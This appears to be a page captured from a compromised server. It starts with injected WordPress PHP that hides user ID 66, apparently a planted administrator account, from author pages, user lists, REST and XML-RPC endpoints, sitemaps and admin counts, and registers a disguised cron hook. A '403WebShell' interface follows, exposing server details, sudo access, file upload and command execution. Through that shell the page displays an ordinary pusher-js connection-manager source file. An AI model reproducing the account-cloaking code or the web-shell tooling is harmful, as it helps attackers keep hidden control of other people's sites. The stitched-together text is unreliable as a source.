add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/futuresbattle/node_modules/pusher-js/src/core/connection/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/futuresbattle/node_modules/pusher-js/src/core/connection/connection_manager.ts
import { default as EventsDispatcher } from '../events/dispatcher';
import { OneOffTimer as Timer } from '../utils/timers';
import { Config } from '../config';
import Logger from '../logger';
import HandshakePayload from './handshake/handshake_payload';
import Connection from './connection';
import Strategy from '../strategies/strategy';
import StrategyRunner from '../strategies/strategy_runner';
import * as Collections from '../utils/collections';
import Timeline from '../timeline/timeline';
import ConnectionManagerOptions from './connection_manager_options';
import Runtime from 'runtime';

import {
  ErrorCallbacks,
  HandshakeCallbacks,
  ConnectionCallbacks,
} from './callbacks';
import Action from './protocol/action';

/** Manages connection to Pusher.
 *
 * Uses a strategy (currently only default), timers and network availability
 * info to establish a connection and export its state. In case of failures,
 * manages reconnection attempts.
 *
 * Exports state changes as following events:
 * - "state_change", { previous: p, current: state }
 * - state
 *
 * States:
 * - initialized - initial state, never transitioned to
 * - connecting - connection is being established
 * - connected - connection has been fully established
 * - disconnected - on requested disconnection
 * - unavailable - after connection timeout or when there's no network
 * - failed - when the connection strategy is not supported
 *
 * Options:
 * - unavailableTimeout - time to transition to unavailable state
 * - activityTimeout - time after which ping message should be sent
 * - pongTimeout - time for Pusher to respond with pong before reconnecting
 *
 * @param {String} key application key
 * @param {Object} options
 */
export default class ConnectionManager extends EventsDispatcher {
  key: string;
  options: ConnectionManagerOptions;
  state: string;
  connection: Connection;
  usingTLS: boolean;
  timeline: Timeline;
  socket_id: string;
  unavailableTimer: Timer;
  activityTimer: Timer;
  retryTimer: Timer;
  activityTimeout: number;
  strategy: Strategy;
  runner: StrategyRunner;
  errorCallbacks: ErrorCallbacks;
  handshakeCallbacks: HandshakeCallbacks;
  connectionCallbacks: ConnectionCallbacks;

  constructor(key: string, options: ConnectionManagerOptions) {
    super();
    this.state = 'initialized';
    this.connection = null;

    this.key = key;
    this.options = options;
    this.timeline = this.options.timeline;
    this.usingTLS = this.options.useTLS;

    this.errorCallbacks = this.buildErrorCallbacks();
    this.connectionCallbacks = this.buildConnectionCallbacks(
      this.errorCallbacks,
    );
    this.handshakeCallbacks = this.buildHandshakeCallbacks(this.errorCallbacks);

    var Network = Runtime.getNetwork();

    Network.bind('online', () => {
      this.timeline.info({ netinfo: 'online' });
      if (this.state === 'connecting' || this.state === 'unavailable') {
        this.retryIn(0);
      }
    });
    Network.bind('offline', () => {
      this.timeline.info({ netinfo: 'offline' });
      if (this.connection) {
        this.sendActivityCheck();
      }
    });

    this.updateStrategy();
  }

  switchCluster(key: string) {
    this.key = key;
    // This ensures that the new config coming from
    // pusher instance are taken into account
    // such as appKey and cluster
    this.updateStrategy();
    this.retryIn(0);
  }

  /** Establishes a connection to Pusher.
   *
   * Does nothing when connection is already established. See top-level doc
   * to find events emitted on connection attempts.
   */
  connect() {
    if (this.connection || this.runner) {
      return;
    }
    if (!this.strategy.isSupported()) {
      this.updateState('failed');
      return;
    }
    this.updateState('connecting');
    this.startConnecting();
    this.setUnavailableTimer();
  }

  /** Sends raw data.
   *
   * @param {String} data
   */
  send(data) {
    if (this.connection) {
      return this.connection.send(data);
    } else {
      return false;
    }
  }

  /** Sends an event.
   *
   * @param {String} name
   * @param {String} data
   * @param {String} [channel]
   * @returns {Boolean} whether message was sent or not
   */
  send_event(name: string, data: any, channel?: string) {
    if (this.connection) {
      return this.connection.send_event(name, data, channel);
    } else {
      return false;
    }
  }

  /** Closes the connection. */
  disconnect() {
    this.disconnectInternally();
    this.updateState('disconnected');
  }

  isUsingTLS() {
    return this.usingTLS;
  }

  private startConnecting() {
    var callback = (error, handshake) => {
      if (error) {
        this.runner = this.strategy.connect(0, callback);
      } else {
        if (handshake.action === 'error') {
          this.emit('error', {
            type: 'HandshakeError',
            error: handshake.error,
          });
          this.timeline.error({ handshakeError: handshake.error });
        } else {
          this.abortConnecting(); // we don't support switching connections yet
          this.handshakeCallbacks[handshake.action](handshake);
        }
      }
    };
    this.runner = this.strategy.connect(0, callback);
  }

  private abortConnecting() {
    if (this.runner) {
      this.runner.abort();
      this.runner = null;
    }
  }

  private disconnectInternally() {
    this.abortConnecting();
    this.clearRetryTimer();
    this.clearUnavailableTimer();
    if (this.connection) {
      var connection = this.abandonConnection();
      connection.close();
    }
  }

  private updateStrategy() {
    this.strategy = this.options.getStrategy({
      key: this.key,
      timeline: this.timeline,
      useTLS: this.usingTLS,
    });
  }

  private retryIn(delay) {
    this.timeline.info({ action: 'retry', delay: delay });
    if (delay > 0) {
      this.emit('connecting_in', Math.round(delay / 1000));
    }
    this.retryTimer = new Timer(delay || 0, () => {
      this.disconnectInternally();
      this.connect();
    });
  }

  private clearRetryTimer() {
    if (this.retryTimer) {
      this.retryTimer.ensureAborted();
      this.retryTimer = null;
    }
  }

  private setUnavailableTimer() {
    this.unavailableTimer = new Timer(this.options.unavailableTimeout, () => {
      this.updateState('unavailable');
    });
  }

  private clearUnavailableTimer() {
    if (this.unavailableTimer) {
      this.unavailableTimer.ensureAborted();
    }
  }

  private sendActivityCheck() {
    this.stopActivityCheck();
    this.connection.ping();
    // wait for pong response
    this.activityTimer = new Timer(this.options.pongTimeout, () => {
      this.timeline.error({ pong_timed_out: this.options.pongTimeout });
      this.retryIn(0);
    });
  }

  private resetActivityCheck() {
    this.stopActivityCheck();
    // send ping after inactivity
    if (this.connection && !this.connection.handlesActivityChecks()) {
      this.activityTimer = new Timer(this.activityTimeout, () => {
        this.sendActivityCheck();
      });
    }
  }

  private stopActivityCheck() {
    if (this.activityTimer) {
      this.activityTimer.ensureAborted();
    }
  }

  private buildConnectionCallbacks(
    errorCallbacks: ErrorCallbacks,
  ): ConnectionCallbacks {
    return Collections.extend<ConnectionCallbacks>({}, errorCallbacks, {
      message: (message) => {
        // includes pong messages from server
        this.resetActivityCheck();
        this.emit('message', message);
      },
      ping: () => {
        this.send_event('pusher:pong', {});
      },
      activity: () => {
        this.resetActivityCheck();
      },
      error: (error) => {
        // just emit error to user - socket will already be closed by browser
        this.emit('error', error);
      },
      closed: () => {
        this.abandonConnection();
        if (this.shouldRetry()) {
          this.retryIn(1000);
        }
      },
    });
  }

  private buildHandshakeCallbacks(
    errorCallbacks: ErrorCallbacks,
  ): HandshakeCallbacks {
    return Collections.extend<HandshakeCallbacks>({}, errorCallbacks, {
      connected: (handshake: HandshakePayload) => {
        this.activityTimeout = Math.min(
          this.options.activityTimeout,
          handshake.activityTimeout,
          handshake.connection.activityTimeout || Infinity,
        );
        this.clearUnavailableTimer();
        this.setConnection(handshake.connection);
        this.socket_id = this.connection.id;
        this.updateState('connected', { socket_id: this.socket_id });
      },
    });
  }

  private buildErrorCallbacks(): ErrorCallbacks {
    let withErrorEmitted = (callback) => {
      return (result: Action | HandshakePayload) => {
        if (result.error) {
          this.emit('error', { type: 'WebSocketError', error: result.error });
        }
        callback(result);
      };
    };

    return {
      tls_only: withErrorEmitted(() => {
        this.usingTLS = true;
        this.updateStrategy();
        this.retryIn(0);
      }),
      refused: withErrorEmitted(() => {
        this.disconnect();
      }),
      backoff: withErrorEmitted(() => {
        this.retryIn(1000);
      }),
      retry: withErrorEmitted(() => {
        this.retryIn(0);
      }),
    };
  }

  private setConnection(connection) {
    this.connection = connection;
    for (var event in this.connectionCallbacks) {
      this.connection.bind(event, this.connectionCallbacks[event]);
    }
    this.resetActivityCheck();
  }

  private abandonConnection() {
    if (!this.connection) {
      return;
    }
    this.stopActivityCheck();
    for (var event in this.connectionCallbacks) {
      this.connection.unbind(event, this.connectionCallbacks[event]);
    }
    var connection = this.connection;
    this.connection = null;
    return connection;
  }

  private updateState(newState: string, data?: any) {
    var previousState = this.state;
    this.state = newState;
    if (previousState !== newState) {
      var newStateDescription = newState;
      if (newStateDescription === 'connected') {
        newStateDescription += ' with new socket ID ' + data.socket_id;
      }
      Logger.debug(
        'State changed',
        previousState + ' -> ' + newStateDescription,
      );
      this.timeline.info({ state: newState, params: data });
      this.emit('state_change', { previous: previousState, current: newState });
      this.emit(newState, data);
    }
  }

  private shouldRetry(): boolean {
    return this.state === 'connecting' || this.state === 'connected';
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit